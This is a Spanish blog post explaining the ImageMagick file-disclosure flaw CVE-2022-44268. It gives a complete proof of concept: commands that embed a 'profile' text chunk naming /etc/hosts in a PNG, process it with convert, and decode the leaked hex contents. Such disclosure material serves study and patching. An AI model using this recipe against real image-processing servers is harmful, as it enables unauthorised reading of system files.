ImageMagick: la vulnerabilidad oculta detrás de tus imágenes online
Recientemente se han descubierto dos vulnerabilidades en ImageMagick 7.1.0-49: un DoS (CVE-2022-44267) y un Information Disclosure (CVE-2022-44268). Nos vamos a centrar en esta última ya que creo que es bastante más interesante.
Cuando se agrega un fragmento de texto (por ejemplo, tEXt), si la palabra clave es la cadena «profile» (sin comillas), ImageMagick interpreta la cadena de texto como un nombre de archivo y carga el contenido como un profile sin procesar (si el binario de ImageMagick tiene permisos para leerlo).
El resultado es que un atacante podría aprovechar ésto para leer arbitrariamente ficheros de un servidor que utiliza ImageMagick para procesar imágenes…
La PoC es además supersencilla.
1.- Primero instalamos las dependencias:
$ apt-get install pngcrush imagemagick exiftool exiv2 -y
2.- Añadimos el chunk de texto con el nombre del fichero que queremos leer:
$ pngcrush -text a "profile" "/etc/hosts" hacker.png
Recompressing IDAT chunks in hacker.png to pngout.png
Total length of data found in critical chunks = 319742
Best pngcrush method = 10 (ws 15 fm 6 zl 9 zs 1) = 328105
CPU time decode 0.043105, encode 0.648451, other 0.002684, total 0.696421 sec
Opcionalmente comprobamos que se ha añadido correctamente:
$ exiv2 -pS pngout.png
STRUCTURE OF PNG FILE: pngout.png
address | chunk | length | data | checksum
8 | IHDR | 13 | ............ | 0x7b1a43ad
33 | iCCP | 388 | ICC profile..(.}.=H.@.._SKE+.v | 0xa0c670f3
433 | pHYs | 9 | ...#...#. | 0x78a53f76
454 | tIME | 7 | ......3 | 0xbb153466
473 | zTXt | 16389 | Raw profile type exif..x...Y.$ | 0x289c8fc7
16874 | iTXt | 3354 | XML:com.adobe.xmp.....<?xpacke | 0xf1deb764
20240 | IDAT | 328048 | x...Y.$Y.&..r...r7...=...2... | 0xe5c57ae2
348300 | tEXt | 18 | profile./etc/hosts | 0xc560a843
348330 | IEND | 0 | | 0xae426082
3.- Ahora tratamos la imagen con ImageMagick para explotar la vulnerabilidad, en el ejemplo simplemente con el comando convert pero en un entorno real podría detonarse simplemente subiéndo la imágen a un servidor vulnerable:
$ convert pngout.png oculto.png
convert-im6.q16: keyword "Raw profile type ": bad character '0x20' `oculto.png' @ warning/png.c/MagickPNGWarningHandler/1668.
Y ya está, ahora simplemente vemos el contenido incrustado en la imagen resultante (te lo resalto en amarillo):
$ identify -verbose oculto.png
Image:
Filename: oculto.png
Format: PNG (Portable Network Graphics)
Mime type: image/png
Class: DirectClass
Geometry: 512x512+0+0
Resolution: 118.11x118.11
Print size: 4.33494x4.33494
Units: PixelsPerCentimeter
Colorspace: sRGB
Type: TrueColor
Base type: Undefined
Endianness: Undefined
Depth: 8-bit
Channel depth:
red: 8-bit
green: 8-bit
blue: 8-bit
Channel statistics:
Pixels: 262144
Red:
min: 0 (0)
max: 255 (1)
mean: 88.2626 (0.346128)
standard deviation: 73.5068 (0.288262)
kurtosis: -0.553267
skewness: 0.75696
entropy: 0.960805
Green:
min: 0 (0)
max: 255 (1)
mean: 120.885 (0.474058)
standard deviation: 90.0684 (0.35321)
kurtosis: -1.5098
skewness: 0.223454
entropy: 0.953738
Blue:
min: 0 (0)
max: 255 (1)
mean: 130.047 (0.50999)
standard deviation: 85.4641 (0.335153)
kurtosis: -1.51198
skewness: 0.0835374
entropy: 0.971014
Image statistics:
Overall:
min: 0 (0)
max: 255 (1)
mean: 113.065 (0.443392)
standard deviation: 83.0131 (0.325542)
kurtosis: -1.33275
skewness: 0.359084
entropy: 0.961852
Rendering intent: Perceptual
Gamma: 0.454545
Chromaticity:
red primary: (0.64,0.33)
green primary: (0.3,0.6)
blue primary: (0.15,0.06)
white point: (0.3127,0.329)
Background color: white
Border color: srgb(223,223,223)
Matte color: grey74
Transparent color: black
Interlace: None
Intensity: Undefined
Compose: Over
Page geometry: 512x512+0+0
Dispose: Undefined
Iterations: 0
Compression: Zip
Orientation: Undefined
Profiles:
Profile-icc: 672 bytes
Properties:
date:create: 2023-02-05T18:35:18+00:00
date:modify: 2023-02-05T18:35:18+00:00
exif:BitsPerSample: 8, 8, 8
exif:ColorSpace: 1
exif:DateTime: 2023:02:05 12:24:50
exif:ExifOffset: 190
exif:ImageLength: 512
exif:ImageWidth: 512
exif:Software: GIMP 2.10.30
exif:thumbnail:BitsPerSample: 8, 8, 8
exif:thumbnail:Compression: 6
exif:thumbnail:ImageLength: 256
exif:thumbnail:ImageWidth: 256
exif:thumbnail:JPEGInterchangeFormat: 328
exif:thumbnail:JPEGInterchangeFormatLength: 13885
exif:thumbnail:PhotometricInterpretation: 6
exif:thumbnail:SamplesPerPixel: 3
icc:copyright: Public Domain
icc:description: GIMP built-in sRGB
icc:manufacturer: GIMP
icc:model: sRGB
png:bKGD: chunk was found (see Background color, above)
png:cHRM: chunk was found (see Chromaticity, above)
png:iCCP: chunk was found
png:IHDR.bit-depth-orig: 8
png:IHDR.bit_depth: 8
png:IHDR.color-type-orig: 2
png:IHDR.color_type: 2 (Truecolor)
png:IHDR.interlace_method: 0 (Not interlaced)
png:IHDR.width,height: 512, 512
png:pHYs: x_res=11811, y_res=11811, units=1
png:text: 23 tEXt/zTXt/iTXt chunks were found
png:tIME: 2023-02-05T18:35:18Z
Raw profile type:
220
3132372e302e302e31096c6f63616c686f73740a3132372e302e312e31096b79616b750a
0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c65
20666f7220495076362063617061626c6520686f7374730a3a3a3120202020206970362d
6c6f63616c686f7374206970362d6c6f6f706261636b0a666530303a3a30206970362d6c
6f63616c6e65740a666630303a3a30206970362d6d636173747072656669780a66663032
3a3a31206970362d616c6c6e6f6465730a666630323a3a32206970362d616c6c726f7574
6572730a
signature: 1218350006b7307477b7ba227324971bbf78de7a384d3ab2c12b0984f6fade13
unknown: 1
Artifacts:
filename: oculto.png
verbose: true
Tainted: False
Filesize: 340862B
Number pixels: 262144
Pixels per second: 26.1417MB
User time: 0.010u
Elapsed time: 0:01.010
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
¿Lo has visto verdad? En hexadecimal…
$ python3 -c 'print(bytes.fromhex("texto_en_hexadecimal").decode("utf-8"))'
$ python3 -c 'print(bytes.fromhex("3132372e302e302e31096c6f63616c686f73740a3132372e302e312e31096b79616b750a0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c6520666f7220495076362063617061626c6520686f7374730a3a3a3120202020206970362d6c6f63616c686f7374206970362d6c6f6f706261636b0a666530303a3a30206970362d6c6f63616c6e65740a666630303a3a30206970362d6d636173747072656669780a666630323a3a31206970362d616c6c6e6f6465730a666630323a3a32206970362d616c6c726f75746572730a").decode("utf-8"))'
127.0.0.1 localhost
127.0.1.1 kyaku
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Fuentes:
Powered by WPeMatico